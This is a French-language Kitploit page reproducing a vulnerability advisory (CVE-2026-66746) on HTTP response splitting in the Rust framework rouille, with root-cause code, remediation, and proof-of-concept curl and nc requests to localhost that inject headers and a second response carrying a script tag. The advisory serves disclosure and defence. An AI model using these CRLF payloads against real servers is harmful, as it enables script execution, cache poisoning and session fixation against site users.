Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille- — Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille) | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-
Vulnerability AnalysisCode AnalysisWeb Application ExploitationWeb SecurityPenetration Testing
GitHubtheopaid/cve-2026-66746-http-response-splitting-via-unvalidated-response-header-values-rouille-

CVE-2026-66746-HTTP-Response-Splitting-via-Unvalidated-Response-Header-Values-rouille-

Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 23 joursPas encore vérifié

Avis de sécurité : Scission de réponse HTTP via des valeurs d'en-tête de réponse non validées (rouille)

Identifiant CVE attribué : CVE-2026-66746

Résumé

rouille écrit les valeurs d'en-tête de réponse au client sans les vérifier pour détecter un retour chariot ou un saut de ligne. Une application qui place du texte influencé par l'attaquant dans une valeur d'en-tête émet donc des en-têtes supplémentaires, ou une seconde réponse HTTP entière, sur le réseau.

Deux propriétés de rouille rendent cela accessible dans du code ordinaire. Request::get_param décode les échappements de pourcentage, donc %0d%0a dans une chaîne de requête devient un vrai CRLF. Et session::session copie la valeur Cookie du client dans Set-Cookie sans aucune validation.

Toutes les autres piles HTTP Rust largement utilisées rejettent cela au niveau du type : http::HeaderValue::from_str renvoie InvalidHeaderValue pour CR et LF, c'est pourquoi hyper, axum, actix-web et warp ne sont pas exposés de la même manière.

Versions affectées

URL du dépôt : https://github.com/tomaka/rouille

Première version affectée0.4.0 (2016-12-14) pour le chemin d'en-tête de réponse ci-dessous
Dernière version affectée3.6.2 (2023-04-24), la version actuelle
Corrigée dansaucune version corrigée au moment de la rédaction

Les versions antérieures à 0.4.0 émettent les réponses via un chemin de code différent qui n'a pas été examiné, elles ne sont donc ni confirmées ni infirmées. La réflexion session::session décrite dans le chemin B existe depuis 0.3.2 (2016-12-02).

Sévérité

CWE-113 (neutralisation incorrecte des séquences CRLF dans les en-têtes HTTP), un cas particulier de CWE-93 (injection CRLF).

Score de base CVSS 4.0 : 5,3 (Moyen) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Modèle de menace

Le chemin A nécessite un attaquant distant non authentifié et une victime qui suit un lien fourni par l'attaquant. L'attaquant doit faire en sorte que l'application place une chaîne dérivée de la requête dans un en-tête de réponse. La redirection vers un paramètre de requête next ou return_to est le cas courant.

Le chemin B nécessite seulement que l'application appelle session::session et lise l'identifiant de session. L'attaquant contrôle son propre en-tête Cookie, donc en soi, cela est auto-infligé. Cela devient une attaque contre d'autres lorsqu'un cache partagé stocke la réponse découpée, ou lorsqu'elle est combinée à un autre moyen de définir un cookie dans le navigateur de la victime.

Cause racine

rouille/src/lib.rs, lignes 624 à 640, transmet les valeurs directement :

root@kitploit:~
624              for (key, value) in rouille_response.headers {
625                  if key.eq_ignore_ascii_case("Content-Length") {
626                      continue;
627                  }
628  
629                  if key.eq_ignore_ascii_case("Upgrade") {
630                      upgrade_header = value;
631                      continue;
632                  }
633  
634                  if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635                  {
636                      response.add_header(header);

Header::from_bytes vérifie uniquement que les octets sont ASCII, et CR et LF sont ASCII. tiny_http-0.12.0/src/common.rs, lignes 166 à 172 :

root@kitploit:~
166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171          let header = HeaderField::from_bytes(header).or(Err(()))?;
172          let value = AsciiString::from_ascii(value).or(Err(()))?;

La valeur est ensuite écrite sans échappement. tiny_http-0.12.0/src/response.rs, lignes 99 à 104 :

root@kitploit:~
 99      for header in headers.iter() {
100          writer.write_all(header.field.as_str().as_ref())?;
101          write!(&mut writer, ": ")?;
102          writer.write_all(header.value.as_str().as_ref())?;
103          write!(&mut writer, "\r\n")?;
104      }

Chemin A, paramètres de requête décodés en pourcentage

Request::get_param décode les échappements de pourcentage, de sorte que l'appelant reçoit de véritables caractères de contrôle. rouille/src/lib.rs, lignes 928 à 932 :

root@kitploit:~
928              .map(|value| {
929                  percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930                      .decode_utf8_lossy()
931                      .into_owned()
932              })

Chemin B, identifiants de session reflétés depuis la requête

rouille/src/session.rs prend la clé du cookie du client à la ligne 59 et l'interpole dans l'en-tête de réponse aux lignes 75 à 81 :

root@kitploit:~
 59              key: cookie.into(),
...
 75          let header_value = format!(
 76              "{}={}; Max-Age={}; Path=/; HttpOnly",
 77              cookie_name, session.key, timeout_s
 78          );
 79          response
 80              .headers
 81              .push(("Set-Cookie".into(), header_value.into()));

Preuve de concept

Chemin A

Étape 1. Démarrer un serveur qui redirige vers un paramètre de requête.

root@kitploit:~
use rouille::Response;

fn main() {
    rouille::start_server("127.0.0.1:8002", |request| {
        let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
        Response::redirect_303(next)
    });
}

Étape 2. Envoyez la requête avec %0d%0a dans le paramètre.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'

Résultat. X-Injected arrive comme un en-tête distinct :

root@kitploit:~
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0

Étape 3. Étendez la charge utile au-delà de la fin des en-têtes pour émettre une seconde réponse entière.

root@kitploit:~
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'

Résultat. Une requête, deux réponses complètes. La seconde transporte une ligne de statut, un type de contenu et un corps choisis par l'attaquant :

root@kitploit:~
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

Chemin B

Étape 1. Démarrer un serveur utilisant l'idiome de session documenté.

root@kitploit:~
use rouille::{session, Response};

fn main() {
    rouille::start_server("127.0.0.1:8006", |request| {
        session::session(request, "SID", 3600, |s| {
            Response::text(format!("session id: {}", s.id()))
        })
    });
}

Étape 2. Envoyez un cookie dont la valeur contient un LF seul. \n ci-dessous est un saut de ligne unique, \r\n est un CRLF.

root@kitploit:~
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006

Résultat. La valeur sort de Set-Cookie sur sa propre ligne :

root@kitploit:~
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly

Le chemin B présente trois limites à noter. Seul un LF seul passe, car un CRLF aurait terminé la ligne d'en-tête dans tiny_http, donc le client ou le cache doit traiter un LF isolé comme un terminateur. Tout ce qui suit le point d'injection porte toujours le suffixe ; Max-Age=3600; Path=/; HttpOnly du même format!, donc la primitive est un en-tête avec une chaîne de fin fixe plutôt qu'un en-tête arbitraire propre. Et l'attaquant ne contrôle que son propre cookie. Le chemin A n'a aucune de ces limites.

Impact

Exécution de script dans le contexte de sécurité de l'origine, empoisonnement du cache lorsqu'un cache partagé stocke la réponse injectée pour l'URL de la victime, fixation de session via un Set-Cookie injecté, et écrasement des en-têtes de sécurité tels que CSP ou CORS. Comme le chemin A produit un vrai CRLF, chaque client et chaque cache effectue la découpe sur celui-ci.

Remédiation

Validez les valeurs d'en-tête dans Server::process avant de les transmettre à tiny_http, dans rouille/src/lib.rs autour de la ligne 634 :

root@kitploit:~
fn header_value_is_safe(v: &str) -> bool {
    !v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}

Renvoyez une erreur 500 pour la réponse entière plutôt que de supprimer l'en-tête fautif, afin que l'échec soit visible au lieu de modifier silencieusement la réponse.

Validez également la clé de session dans session::session : rejetez une valeur de cookie qui n'est pas [A-Za-z0-9]+ et générez un nouvel identifiant à la place. Effectuer la vérification dans Response::with_additional_header, with_unique_header et les constructeurs redirect_* ferait apparaître l'erreur au niveau du site d'appel, où l'auteur de l'application peut agir en conséquence.

Télécharger l’outil